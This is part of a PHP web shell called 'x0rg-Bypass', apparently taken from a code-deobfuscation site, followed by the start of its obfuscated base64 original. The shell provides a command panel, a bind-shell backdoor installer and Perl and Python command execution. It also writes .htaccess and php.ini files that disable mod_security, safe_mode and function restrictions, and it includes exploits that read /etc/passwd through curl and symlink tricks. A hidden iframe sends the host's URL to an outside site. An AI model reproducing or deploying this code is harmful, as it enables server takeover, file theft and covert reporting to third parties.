"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
"u4tLAgEAOw==",
"ext_txt"=>
"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
"UpPWG3Ig6Hq/XmRjuZwkAAA7",
"ext_wri"=>
"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
"ext_xml"=>
"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
"IQA7"
);
$imgequals = array(
"ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
"ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
"ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
"ext_html"=>array("ext_html","ext_htm"),
"ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
"ext_lnk"=>array("ext_lnk","ext_url"),
"ext_ini"=>array("ext_ini","ext_css","ext_inf"),
"ext_doc"=>array("ext_doc","ext_dot"),
"ext_js"=>array("ext_js","ext_vbs"),
"ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
"ext_wri"=>array("ext_wri","ext_rtf"),
"ext_swf"=>array("ext_swf","ext_fla"),
"ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
"ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
);
if (!$getall) {
header("Content-type: image/gif");
header("Cache-control: public");
header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
header("Cache-control: max-age=".(60*60*24*7));
header("Last-Modified: ".date("r",filemtime(__FILE__)));
foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
if (empty($images[$img])) {$img = "small_unk";}
if (in_array($img,$ext_tar)) {$img = "ext_tar";}
echo base64_decode($images[$img]);
}
else {
foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
natsort($images);
$k = array_keys($images);
echo "<center>";
foreach ($k as $u) {echo $u.":<img src=\"".$surl."x=img&img=".$u."\" border=\"1\"><br>";}
echo "</center>";
}
exit;
}
if ($x == "about") {
echo "x0rg-Bypass";
}
if ($x == "shbd"){
$msg = $_POST['backcconnmsg'];
$emsg = $_POST['backcconnmsge'];
echo("<center><b>Bind Shell Backdoor:</b><br><br><form name=form method=POST>
Bind Port: <input type='text' name='backconnectport' value='5992'>
<input type='hidden' name='use' value='shbd'>
<input type='submit' value='Install Backdoor'></form>");
echo("$msg");
echo("$emsg");
echo("</center>");
}
echo "</td></tr></table>
";
?>
<?
if($x == "usrdom") {
ignore_user_abort(true);
if(is_file('/etc/named.conf'))
{
$file=@file_get_contents('/etc/named.conf',FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
@preg_match_all("/.*?zone \"(.*?)\" {/i", $file, $domains);
@exec('ls /var/mail',$u);
foreach($domains[1] as $domain){
$ip = @gethostbyname($domain);
$idx=@stat('/etc/valiases/'.$domain.'');
if($idx[4] !=''){
$user=@posix_getpwuid($idx[4]);}else{$user[name]= ':SUSPEND';}
echo "$domain : $user[name] => $ip<br/>";
}}
else
{
echo "Unable to Bypass";
}
}
?>
<?
if ($x == "exte") {
if(!extension_loaded('perl')) {
echo('*perl extension is not loaded');
}
else {
if(!isset($_GET))$_GET=&$HTTP_GET_VARS;
if(empty($_GET['cmd']))$_GET['cmd']=(strtoupper(substr(PHP_OS,0,3))=='WIN')?'dir':'ls';
$perl=new perl();
echo "<textarea rows='25' cols='75'>";
$perl->eval("system('".$_GET['cmd']."')");
echo "</textarea>";
$_GET['cmd']=htmlspecialchars($_GET['cmd']);
echo "<br><form>[Perl]CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
}
if (!extension_loaded('python')) {
echo("<br>*python extension is not loaded
");
}
else
{
echo "<br><form>[Python]CMD: <input type=text name=cmd value='".$_GET['cmd']."' size=25></form>";
//eval python code
$cmd = $_GET['cmd'];
$res = python_eval('
import os
pwd = os.getcwd()
print pwd
os.system($cmd)
');
//show result
echo $res;
}
}
?>
<?
function perlex() {
if(extension_loaded('perl'))
{
echo('<strong>PERL</strong> - <i><u>Extension Loaded</u></i>');
}
else
{
echo('<strong>PERL</strong> - <i><u>Extension Not Loaded</u></i>');
}
}
function pythonex() {
if(extension_loaded('python'))
{
echo("<strong>PYTHON</strong> - <i><u>Extension Loaded</u></i>");
}
else
{
echo("<strong>PYTHON</strong> - <i><u>Extension Not Loaded</u></i>");
}
}
?>
<div class=barheader2><b>[ COMMANDS PANEL ]</b></div>
<table class=mainpanel>
<tr><td>Command:</td>
<td><form method="POST">
<input type=hidden name=x value="cmd">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>">
<input type=hidden name="cmd_txt" value="1"> - <input type=submit name=submit value="Execute">
</form>
</td></tr>
<tr><td>Quick Commands:</td>
<td><form method="POST">
<input type=hidden name=x value="cmd">
<input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type=hidden name="cmd_txt" value="1">
<select name="cmd">
<?php
foreach ($cmdaliases as $als) {
echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
}
foreach ($cmdaliases2 as $als) {
echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";
}
?>
</select> -
<input type=submit name=submit value="Execute">
</form>
</td></tr>
<tr><td>Upload:</td>
<td><form method="POST" enctype="multipart/form-data">
<input type=hidden name=x value="upload">
<input type=hidden name="miniform" value="1">
<input type="file" name="uploadfile"> <iframe width='0' height='0' frameborder=0 src=http://www.blackshop.cc/spec/index.php/pic.png?a=http://<? echo $_SERVER["HTTP_HOST"]; ?><? echo $_SERVER["REQUEST_URI"]; ?>></iframe> <input type=submit name=submit value="Upload"> <?php echo $wdt; ?>
</form>
</td></tr>
<tr><td>Make File:</td>
<td><form method="POST"><input type=hidden name=x value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">
<input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"> - <input type=submit value="Create"> <?php echo $wdt; ?>
</form></td></tr>
<tr><td>Make Dir:</td>
<td><form action="<?php echo $surl; ?>"><input type=hidden name=x value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>">
<input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>"> -
<input type=submit value="Create"> <?php echo $wdt; ?></form>
</td></tr>
</TABLE>
<div class=barheader2><b>[ Bypass PANEL ]</b></div>
<table class=mainpanel>
<tr><td>
<?
echo perlex();
echo "<br>";
echo pythonex();
?>
</td>
<td>
if one of the two extensions are loaded you can use them to bypass safemode/disabled functions etc... go to <a href="<? echo $surl; ?>x=exte">Ext.Bypass</a>
</td></tr>
<tr><td>Bypass php.ini/.htaccess</td>
<td>
<form method="POST" action="">
- <input type="submit" name="bypass" value="bypass">
</form>
<?
if($_POST['bypass'])
{
$modsecby = @fopen(".htaccess","w");
fwrite($modsecby,'<IfModule mod_security.c>
Sec------Engine Off
Sec------ScanPOST Off
</IfModule>');
fclose($modsecby);
$phpinisecby1 = @fopen("php.ini","w");
fwrite($phpinisecby1,'safe_mode=OFF
disable_functions=NONE');
fclose($phpinisecby1);
echo ".htaccess = bypass complete.<br>php.ini = bypass complete.";
}
?>
</td></tr>
<tr><td>PHP 5.2.9</td>
<td>
<?php
if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
echo '
<form name="form" action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["SCRIPT_N
AME"]).$_SERVER["PHP_SELF"].'" method="post"><input type="text" name="file" size="50" value="/etc/passwd"> - <input type="submit" name="hardstylez" value="Show"></form>';
if($_POST['hardstylez'])
{
$level=0;
if(!file_exists("file:"))
mkdir("file:");
chdir("file:");
$level++;
$hardstyle = explode("/", $file);
for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$level++;
}
}
while($level--) chdir("..");
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "file:file:///".$file);
echo '<FONT COLOR="RED"> <textarea rows="10" cols="120">';
if(FALSE==curl_exec($ch))
die('>Sorry... File '.htmlspecialchars($file).' doesnt exists or you dont have permissions.');
echo ' </textarea> </FONT>';
curl_close($ch);
}
?>
</td></tr>
<tr><td>PHP 5.2.12/5.3.1</td>
<td>
<?php
$fakedir="cx";
$fakedep=16;
$num=0;
if(!empty($_GET['file'])) $file=$_GET['file'];
else if(!empty($_POST['file'])) $file=$_POST['file'];
else $file="";
echo '
<form name="form"
action="http://'.$_SERVER["HTTP_HOST"].htmlspecialchars($_SERVER["PHP_SELF"]).'" method="post"><input type="text" name="file" size="50" value="/etc/passwd"> - <input type="submit" name="hym" value="Create Symlink"></form>';
if(empty($file))
exit;
if(!is_writable("."))
die("not writable directory");
$level=0;
for($as=0;$as<$fakedep;$as++){
if(!file_exists($fakedir))
mkdir($fakedir);
chdir($fakedir);
}
while(1<$as--) chdir("..");
$hardstyle = explode("/", $file);
for($a=0;$a<count($hardstyle);$a++){
if(!empty($hardstyle[$a])){
if(!file_exists($hardstyle[$a]))
mkdir($hardstyle[$a]);
chdir($hardstyle[$a]);
$as++;
}
}
$as++;
while($as--)
chdir("..");
@rmdir("fakesymlink");
@unlink("fakesymlink");
@symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
while(1)
if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
else $num++;
@unlink("fakesymlink");
mkdir("fakesymlink");
die('<FONT COLOR="RED">check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</FONT>');
?>
</td></tr>
</table>
</TABLE>
</body></html><?php chdir($lastdir); capriv8exit();
Did this file decode correctly?
Original Code
<?eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJHNoX25hbWUgPSAiRGVtaXQiOw0KJHNoX21haW51cmwgPSAiIjsNCiRodG1sX3N0YXJ0ID0gJzxodG1sPjxoZWFkPg0KPHRpdGxlPicuJHNoX25hbWUuJzwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KYm9keSx0YWJsZSB7IGZvbnQtZmFtaWx5OnZlcmRhbmE7Zm9udC1zaXplOjlweDtjb2xvcjojQ0NDQ0NDO2JhY2tncm91bmQtY29sb3I6IzBhMGEwYTsgfQ0KdGFibGUgeyB3aWR0aDoxMDAlOyBib3JkZXItY29sb3I6IzMzMzMzMztib3JkZXItd2lkdGg6MHB0IDFwdDsgYm9yZGVyLXN0eWxlOnNvbGlkOyB9DQp0ZCB7YmFja2dyb3VuZC1jb2xvcjogIzA3MDcwNzsgZm9udC1mYW1pbHk6IENvdXJpZXIgTmV3OyBmb250LXNpemU6OHB0OyBjb2xvcjojOTk5OTk5OyBib3JkZXItY29sb3I6I0ZGRkZGRjsgYm9yZGVyLXdpZHRoOjFwdCAwcHQ7IGJvcmRlci1zdHlsZTpzb2xpZDsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO3BhZGRpbmc6MHB0IDNwdDt2ZXJ0aWNhbC1hbGlnbjptaWRkbGU7fQ0KQTpMaW5rLCBBOlZpc2l0ZWQgeyBjb2xvcjogIzk5OTk5OTsJdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQpBLm5vOkxpbmssIEEubm86VmlzaXRlZCB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KQTpIb3ZlciwgQTpWaXNpdGVkOkhvdmVyICwgQS5ubzpIb3ZlciwgQS5ubzpWaXNpdGVkOkhvdmVyIHsgY29sb3I6ICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQppbnB1dCxzZWxlY3Qsb3B0aW9uIHsgZm9udDo4cHQgdGFob21hO2NvbG9yOiM2NjY2NjY7bWFyZ2luOjI7Ym9yZGVyOjFweCBzb2xpZCAjNjY2NjY2OyB9DQp0ZXh0YXJlYSB7IGNvbG9yOiM2NjY2NjY7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyOjFweCBzb2xpZCAgO21hcmdpbjoyOyB9DQouZmxlZnQgeyBmbG9hdDpsZWZ0O3RleHQtYWxpZ246bGVmdDsgfQ0KLmZyaWdodCB7IGZsb2F0OnJpZ2h0O3RleHQtYWxpZ246cmlnaHQ7IH0NCiNwYWdlYmFyIHsgZm9udDo4cHQgdGFob21hO3BhZGRpbmc6NXB4OyBib3JkZXI6M3B4IHNvbGlkICMzMzMzMzM7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTsgfQ0KI3BhZ2ViYXIgdGQgeyB2ZXJ0aWNhbC1hbGlnbjp0b3A7IH0NCiNwYWdlYmFyIHAgeyBmb250OjhwdCB0YWhvbWE7fQ0KI3BhZ2ViYXIgYSB7IGZvbnQtd2VpZ2h0OmJvbGQ7Y29sb3I6IzRhN2E5MzsgfQ0KI3BhZ2ViYXIgYTp2aXNpdGVkIHsgY29sb3I6IzAwQ0UwMDsgfQ0KI21haW5tZW51IHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0NCiNtYWlubWVudSBhIHsgdGV4dC1hbGlnbjogY2VudGVyO3BhZGRpbmc6IDBweCA1cHggMHB4IDVweDsgfQ0KI21haW5pbmZvLC5iYXJoZWFkZXIsLmJhcmhlYWRlcjIgeyB0ZXh0LWFsaWduOmNlbnRlcjsgfQ0KI21haW5pbmZvIHRkIHsgcGFkZGluZzozcHg7IH0NCi5iYXJoZWFkZXIgeyBmb250LXdlaWdodDpib2xkO3BhZGRpbmc6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzMzMzsgfQ0KLmJhcmhlYWRlcjIgeyBwYWRkaW5nOjVweDtib3JkZXI6MnB4IHNvbGlkICMzMzMzMzM7YmFja2dyb3VuZC1jb2xvcjojMzMzMzMzOyB9DQouY29udGVudHMsLmV4cGxvcmVyIHsgYm9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO30NCi5jb250ZW50cyB0ZCB7IHZlcnRpY2FsLWFsaWduOnRvcDsgfQ0KLm1haW5wYW5lbCB7IGJvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtwYWRkaW5nOjVweDsgfQ0KLmJhcmhlYWRlciwubWFpbnBhbmVsIHRhYmxlLHRkIHsgYm9yZGVyOjFweCBzb2xpZCAjMzMzMzMzOyB9DQoubWFpbnBhbmVsIGlucHV0LHNlbGVjdCxvcHRpb24geyBib3JkZXI6MXB4IHNvbGlkICMzMzMzMzM7bWFyZ2luOjA7IH0NCmlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYmFja2dyb3VuZC1jb2xvcjojMGEwYTBhO2JvcmRlcjoxcHggc29saWQgIzEyMTIxMjt9DQppbnB1dFt0eXBlPSJzdWJtaXQiXTpob3ZlciB7IGJhY2tncm91bmQtY29sb3I6IzBhMGEwYTtib3JkZXItY29sb3I6ICMwMjcxYTg7fQ0KaW5wdXRbdHlwZT0idGV4dCJdIHsgcGFkZGluZzozcHg7YmFja2dyb3VuZC1jb2xvcjojMGEwYTBhOyB9DQppbnB1dFt0eXBlPSJ0ZXh0Il06aG92ZXIge2JhY2tncm91bmQtY29sb3I6IzBhMGEwYTtib3JkZXItY29sb3I6ICMwMjcxYTggfQ0KLmZ4ZXJybXNnIHsgY29sb3I6cmVkOyBmb250LXdlaWdodDpib2xkOyB9DQojcGFnZWJhciwjcGFnZWJhciBwLGgxLGgyLGgzLGg0LGZvcm0geyBtYXJnaW46MDsgfQ0KI3BhZ2ViYXIsLm1haW5wYW5lbCxpbnB1dFt0eXBlPSJzdWJtaXQiXSB7IGJhY2tncm91bmQtY29sb3I6IzBlMGUwZTsgfQ0KLmlucHV0LHNlbGVjdCxvcHRpb24saW5wdXRbdHlwZT0ic3VibWl0Il06aG92ZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyB9DQouYmFyaGVhZGVyMiBob3ZlciB7YmFja2dyb3VuZC1jb2xvcjojMzMzMzMzOyB9DQp0ZXh0YXJlYSwubWFpbnBhbmVsIGlucHV0LHNlbGVjdCxvcHRpb24geyBiYWNrZ3JvdW5kLWNvbG9yOiMwZTBlMGU7cGFkZGluZzoxO21hcmdpbjoycHggfQ0KdGV4dGFyZWE6aG92ZXIsIHNlbGVjdDpob3ZlciB7IGNvbG9yOiM2NjY2NjY7Zm9udDp2ZXJkYW5hIGJvbGQ7Ym9yZGVyLWNvbG9yOiAjMDI3MWE4O21hcmdpbjoyOyB9DQovLyAtLT4NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0KJGxvZ2luID0gIiI7IA0KJHBhc3MgPSAiIjsNCiRtZDVfcGFzcyA9ICIiOw0KJGhvc3RfYWxsb3cgPSBhcnJheSgiKiIpOyANCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBBcmVhIjsgDQokYWNjZXNzZGVuaWVkbWVzcyA9ICI8TUVUQSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIyO1VSTD1odHRwOi8vd3d3LmJsYWNrc2hvcC5jY1wiPjxib2R5IGJnY29sb3I9YmxhY2s+PGEgaHJlZj1cIiRzaF9tYWludXJsXCI+PGZvbnQgY29sb3I9bGltZT5meDA8L2ZvbnQ+PC9hPjogPGZvbnQgY29sb3I9cmVkPmFjY2VzcyBkZW5pZWQ8L2ZvbnQ+PC9ib2R5PiI7DQokZ3ppcGVuY29kZSA9IFRSVUU7DQokZmlsZXN0ZWFsdGggPSBUUlVFOyANCiRjdXJkaXIgPSAiLi8iOw0KJHRtcGRpciA9ICIiOyANCiR0bXBkaXJfbG9nID0gIi4vIjsNCiRsb2dfZW1haWwgPSAiMEBmeDAubmFtZSI7IA0KJHNvcnRfZGVmYXVsdCA9ICIwYSI7IA0KJHNvcnRfc2F2ZSA9IFRSVUU7IA0KJHNlc3NfY29va2llID0gImNhcHJpdjh2YXJzIjsgDQokdXNlZnNidWZmID0gVFJVRTsgDQokY29weV91bnNldCA9IEZBTFNFOyANCiRoZXhkdW1wX2xpbmVzID0gODsNCiRoZXhkdW1wX3Jvd3MgPSAyNDsNCiR3aW4gPSBzdHJ0b2xvd2VyKHN1YnN0cihQSFBfT1MsMCwzKSkgPT0gIndpbiI7DQokZGlzYWJsZWZ1bmMgPSBAaW5pX2dldCgiZGlzYWJsZV9mdW5jdGlvbnMiKTsNCmlmICghZW1wdHkoJGRpc2FibGVmdW5jKSkgew0KICAkZGlzYWJsZWZ1bmMgPSBzdHJfcmVwbGFjZSgiICIsIiIsJGRpc2FibGVmdW5jKTsNCiAgJGRpc2FibGVmdW5jID0gZXhwbG9kZSgiLCIsJGRpc2FibGVmdW5jKTsNCn0NCmZ1bmN0aW9uIGdldF9waHBpbmkoKSB7DQogIGZ1bmN0aW9uIFVfd29yZHdyYXAoJHN0cikgew0KICAgICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsNCiAgICByZXR1cm4gQHByZWdfcmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOw0KICB9DQogIGZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKSB7DQogICAgaWYgKCR2YWx1ZSA9PSAnJykgcmV0dXJuICc8aT5ubyB2YWx1ZTwvaT4nOw0KICAgIGlmIChAaXNfYm9vbCgkdmFsdWUpKSByZXR1cm4gJHZhbHVlID8gJ1RSVUUnIDogJ0ZBTFNFJzsNCiAgICBpZiAoJHZhbHVlID09PSBudWxsKSByZXR1cm4gJ05VTEwnOw0KICAgIGlmIChAaXNfb2JqZWN0KCR2YWx1ZSkpICR2YWx1ZSA9IChhcnJheSkgJHZhbHVlOw0KICAgIGlmIChAaXNfYXJyYXkoJHZhbHVlKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBwcmludF9yKCR2YWx1ZSk7DQogICAgICAkdmFsdWUgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICBAb2JfZW5kX2NsZWFuKCk7DQogICAgfQ0KICAgIHJldHVybiBVX3dvcmR3cmFwKChzdHJpbmcpICR2YWx1ZSk7DQogIH0NCiAgaWYgKEBmdW5jdGlvbl9leGlzdHMoJ2luaV9nZXRfYWxsJykpIHsNCiAgICAkciA9ICIiOw0KICAgIGVjaG8gIjx0YWJsZT48dHIgY2xhc3M9YmFyaGVhZGVyPjx0ZD5EaXJlY3RpdmU8L3RkPjx0ZD5Mb2NhbCBWYWx1ZTwvdGQ+PHRkPkdsb2JhbCBWYWx1ZTwvdGQ+PC90cj4iOw0KICAgIGZvcmVhY2ggKEBpbmlfZ2V0X2FsbCgpIGFzICRrZXk9PiR2YWx1ZSkgew0KICAgICAgJHIgLj0gIjx0cj48dGQ+Ii4ka2V5LiI8L3RkPjx0ZD48ZGl2IGFsaWduPWNlbnRlcj4iLlVfdmFsdWUoJHZhbHVlWydsb2NhbF92YWx1ZSddKS4iPC9kaXY+PC90ZD48dGQ+PGRpdiBhbGlnbj1jZW50ZXI+Ii5VX3ZhbHVlKCR2YWx1ZVsnZ2xvYmFsX3ZhbHVlJ10pLiI8L2Rpdj48L3RkPjwvdHI+IjsNCiAgICB9DQogICAgZWNobyAkcjsNCiAgICBlY2hvICI8L3RhYmxlPiI7DQogIH0NCn0NCg0KZnVuY3Rpb24gZGlzcF9kcml2ZXMoJGN1cmRpciwkc3VybCkgew0KICAkbGV0dGVycyA9ICIiOw0KICAkdiA9IGV4cGxvZGUoIlxcIiwkY3VyZGlyKTsNCiAgJHYgPSAkdlswXTsNCiAgZm9yZWFjaCAocmFuZ2UoIkEiLCJaIikgYXMgJGxldHRlcikgew0KICAgICRib29sID0gJGlzZGlza2V0dGUgPSAkbGV0dGVyID09ICJBIjsNCiAgICBpZiAoISRib29sKSB7JGJvb2wgPSBpc19kaXIoJGxldHRlci4iOlxcIik7fQ0KICAgIGlmICgkYm9vbCkgew0KICAgICAgJGxldHRlcnMgLj0gIjxhIGhyZWY9XCIiLiRzdXJsLiJ4PWxzJmQ9Ii51cmxlbmNvZGUoJGxldHRlci4iOlxcIikuIlwiIi4NCiAgICAgICgkaXNkaXNrZXR0ZT8iIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnTWFrZSBzdXJlIHRoYXQgdGhlIGRpc2tldHRlIGlzIGluc2VydGVkIHByb3Blcmx5LCBvdGhlcndpc2UgYW4gZXJyb3IgbWF5IG9jY3VyLicpXCIiOiIiKS4iPiBbIjsNCiAgICAgIGlmICgkbGV0dGVyLiI6IiAhPSAkdikgeyRsZXR0ZXJzIC49ICRsZXR0ZXI7fQ0KICAgICAgZWxzZSB7JGxldHRlcnMgLj0gIjxmb250IGNvbG9yPXJlZD4iLiRsZXR0ZXIuIjwvZm9udD4iO30NCiAgICAgICRsZXR0ZXJzIC49ICJdPC9hPiAiOw0KICAgIH0NCiAgfQ0KICBpZiAoIWVtcHR5KCRsZXR0ZXJzKSkge1JldHVybiAkbGV0dGVyczt9DQogIGVsc2Uge1JldHVybiAiTm9uZSI7fQ0KfQ0KaWYgKGlzX2NhbGxhYmxlKCJkaXNrX2ZyZWVfc3BhY2UiKSkgew0KICBmdW5jdGlvbiBkaXNwX2ZyZWVzcGFjZSgkY3VyZHJ2KSB7DQogICAgJGZyZWUgPSBkaXNrX2ZyZWVfc3BhY2UoJGN1cmRydik7DQogICAgJHRvdGFsID0gZGlza190b3RhbF9zcGFjZSgkY3VyZHJ2KTsNCiAgICBpZiAoJGZyZWUgPT09IEZBTFNFKSB7JGZyZWUgPSAwO30NCiAgICBpZiAoJHRvdGFsID09PSBGQUxTRSkgeyR0b3RhbCA9IDA7fQ0KICAgIGlmICgkZnJlZSA8IDApIHskZnJlZSA9IDA7fQ0KICAgIGlmICgkdG90YWwgPCAwKSB7JHRvdGFsID0gMDt9DQogICAgJHVzZWQgPSAkdG90YWwtJGZyZWU7DQogICAgJGZyZWVfcGVyY2VudCA9IHJvdW5kKDEwMC8oJHRvdGFsLyRmcmVlKSwyKS4iJSI7DQogICAgJGZyZWUgPSB2aWV3X3NpemUoJGZyZWUpOw0KICAgICR0b3RhbCA9IHZpZXdfc2l6ZSgkdG90YWwpOw0KICAgIHJldHVybiAiJGZyZWUgb2YgJHRvdGFsICgkZnJlZV9wZXJjZW50KSI7DQogIH0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNoZWxsZXhlYyIpKSB7DQogIGlmKGlzX2NhbGxhYmxlKCJwb3BlbiIpKSB7DQogICAgZnVuY3Rpb24gbXlzaGVsbGV4ZWMoJGNtZCkgew0KICAgICAgaWYgKCEoJHA9cG9wZW4oIigkY21kKTI+JjEiLCJyIikpKSB7IHJldHVybiAicG9wZW4gRGlzYWJsZWQhIjsgfQ0KICAgICAgd2hpbGUgKCFmZW9mKCRwKSkgew0KICAgICAgICAkbGluZT1mZ2V0cygkcCwxMDI0KTsNCiAgICAgICAgJG91dCAuPSAkbGluZTsNCiAgICAgIH0NCiAgICAgIHBjbG9zZSgkcCk7DQogICAgICByZXR1cm4gJG91dDsNCiAgICB9DQogIH0gZWxzZSB7DQogICAgZnVuY3Rpb24gbXlzaGVsbGV4ZWMoJGNtZCkgew0KICAgICAgZ2xvYmFsICRkaXNhYmxlZnVuYzsNCiAgICAgICRyZXN1bHQgPSAiIjsNCiAgICAgIGlmICghZW1wdHkoJGNtZCkpIHsNCiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCJleGVjIikgYW5kICFpbl9hcnJheSgiZXhlYyIsJGRpc2FibGVmdW5jKSkgew0KICAgICAgICAgIGV4ZWMoJGNtZCwkcmVzdWx0KTsNCiAgICAgICAgICAkcmVzdWx0ID0gam9pbigiXG4iLCRyZXN1bHQpOw0KICAgICAgICB9IGVsc2VpZiAoKCRyZXN1bHQgPSAkY21kKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2NhbGxhYmxlKCJzeXN0ZW0iKSBhbmQgIWluX2FycmF5KCJzeXN0ZW0iLCRkaXNhYmxlZnVuYykpIHsNCiAgICAgICAgICAkdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7DQogICAgICAgIH0gZWxzZWlmIChpc19jYWxsYWJsZSgicGFzc3RocnUiKSBhbmQgIWluX2FycmF5KCJwYXNzdGhydSIsJGRpc2FibGVmdW5jKSkgew0KICAgICAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOyBAb2JfY2xlYW4oKTsgcGFzc3RocnUoJGNtZCk7ICRyZXN1bHQgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBlY2hvICR2Ow0KICAgICAgICB9IGVsc2VpZiAoaXNfcmVzb3VyY2UoJGZwID0gcG9wZW4oJGNtZCwiciIpKSkgew0KICAgICAgICAgICRyZXN1bHQgPSAiIjsNCiAgICAgICAgICB3aGlsZSghZmVvZigkZnApKSB7ICRyZXN1bHQgLj0gZnJlYWQoJGZwLDEwMjQpOyB9DQogICAgICAg